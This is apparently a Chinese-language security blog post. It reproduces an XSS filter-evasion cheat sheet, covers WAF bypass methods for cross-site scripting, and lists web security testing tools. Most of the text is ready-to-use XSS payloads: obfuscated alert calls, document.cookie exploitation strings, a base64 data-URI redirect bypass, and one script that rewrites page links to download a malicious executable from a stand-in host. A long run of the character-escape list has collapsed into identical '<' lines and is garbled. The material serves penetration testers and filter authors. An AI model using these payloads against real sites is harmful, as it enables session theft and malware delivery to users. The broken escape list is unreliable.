因此,如果你的可利用页面是一些随机关键字的顶部(如你在这里看到的),你可以对任何Firefox用户使用该功能。这使用了Firefox的“keyword:”协议。
例如,您可以使用如下“keyword:XSS+RSnake”连接多个关键字。从2.0开始,这不再适用于Firefox。
<A HREF="//google">XSS</A>
Google "feeling lucky" part 2:
这使用了一个看起来只适用于Firefox的非常小的技巧,因为如果它是“感觉幸运”功能的实现。
与下一个不同,这在Opera中不起作用,因为Opera认为这是旧的HTTP基本身份验证仿冒攻击,而不是。这只是一个格式错误的URL。
如果你点击对话框上的OK,它将工作,但由于错误的对话框,我是说Opera不支持此功能,并且从2.0开始Firefox不再支持此功能。
<A HREF="http://ha.ckers.org@google">XSS</A>
Google "feeling lucky" part 3:
这使用了一个格式错误的URL,似乎只在Firefox和Opera中有效,因为如果它们实现了“感觉幸运”功能。
像上面所有的这些一样,它要求你在Google中的关键字是1(在本例中是“Google”)。
<A HREF="http://google:ha.ckers.org">XSS</A>
Removing cnames:
当与上述URL结合使用时,删除“www.”将为正确设置此设置的服务器节省额外的4个字节,总共节省9个字节。
<A HREF="http://google.com/">XSS</A>
绝对DNS的额外点:
<A HREF="http://www.google.com./">XSS</A>
JavaScript link location:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
内容替换为攻击向量:
假设“http://www.google.com/”以编程方式替换为空)。
实际上,我使用了一个类似的攻击向量来攻击几个独立的真实世界XSS过滤器,
方法是使用转换过滤器本身(这里是一个示例)来帮助创建攻击向量
(即:“java	;script:”被转换为“java script:”,它在IE、Netscape 8.1+中以安全站点模式和Opera呈现)。
<A HREF="http://www.google.com/ogle.com/">XSS</A>
字符转义序列:
HTML和JavaScript中字符“<”的所有可能组合。其中大多数不会在框外渲染,但其中许多可以在上述特定情况下渲染。
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
绕过WAF的方法-跨站点脚本:
General issues
Stored XSS:
如果攻击者设法推动XSS通过过滤器,WAF将无法阻止攻击的传导。在Javascript中反映XSS.
Example:
<script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
DOM-based XSS:
Example:
<script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie
XSS via request Redirection:
通过请求重定向的XSS。
易受攻击的代码.
...
header('Location: '.$_GET['param']);
...
As well as:
...
header('Refresh: 0; URL='.$_GET['param']);
...
This request will not pass through the WAF:
/?param=javascript:alert(document.cookie)
This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
WAF ByPass Strings for XSS:
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" οnmοuseοver="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" οnerrοr="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 οnerrοr=alert(XSS)>
<img src=x:alert(alt) οnerrοr=eval(src) alt=0>
<img src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg οnlοad=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/οnerrοr='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="οnerrοr='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/οnmοuseοver="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC5-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
过滤器旁路警报混,Filter bypass alarm confusion:
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
应用程序检测和纠正无效输入的方法是防止XSS的另一个主要弱点。黑名单可能不包括所有可能的攻击字符串,白名单可能过于宽容,清理可能失败,或者某种类型的输入可能被错误地信任并保持未清理状态。
CAL9000是Web应用程序安全性测试工具的合集,可补充当前Web代理和自动扫描程序的功能集。它作为参考托管在https://1337.yehg.net/CAL9000/上。
PHP字符集编码器(PCE) - http://h4k.in/encoding [镜:http://yehg.net/e ]
此工具可帮助您在65种字符集之间对任意文本进行编码。还提供了JavaScript提供的一些编码功能。
它为高级字符串操作攻击提供了数十种灵活的编码。
OWASP WebScar
WebScarab是一个框架,用于分析使用HTTP和HTTPS协议进行通信的应用程序。
XSS-代理 - http://xss-proxy.sourceforge.net/
XSS-Proxy是高级的跨站点脚本(XSS)攻击工具。
ratproxy - http://code.google.com/p/ratproxy/
一种半自动化的,很大程度上是被动的Web应用程序安全审核工具,基于对复杂Web 2.0环境中现有的用户发起的流量的观察,已针对潜在问题和与安全相关的设计模式进行了精确,灵敏的检测和自动注释,并进行了优化。
代理http : //portswigger.net/proxy/
Burp代理是用于攻击和测试Web应用程序的交互式HTTP/S代理服务器。
OWASP Zed的攻击代理(ZAP) - OWASP_Zed_Attack_Proxy_Project
ZAP是易于使用的集成渗透测试工具,用于发现Web应用程序中的漏洞。它被设计为具有广泛的安全经验的人使用,因此,它是渗透测试新手的开发人员和功能测试人员的理想选择。ZAP提供了自动扫描程序以及一系列工具,可让您手动查找安全漏洞。
OWASP Xenotix XSS漏洞利用框架 - OWASP_Xenotix_XSS_Exploit_Framework
OWASP Xenotix XSS漏洞利用框架是一个高级的跨站点脚本(XSS)漏洞检测和利用框架。它通过其独特的三重浏览器引擎(Trident,WebKit和Gecko)嵌入式扫描仪提供零误报扫描结果。据称,它具有约1600多个独特的XSS有效负载的全球第二大XSS有效负载,可有效地检测XSS漏洞和WAF绕过。Xenotix脚本引擎允许您通过Xenotix API创建自定义测试用例和附加组件。它与功能丰富的信息收集模块结合在一起,可用于目标侦察。漏洞利用框架包括用于渗透测试和概念验证创建的令人讨厌的XSS漏洞利用模块。
本文作者:stan1ey
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/161987.html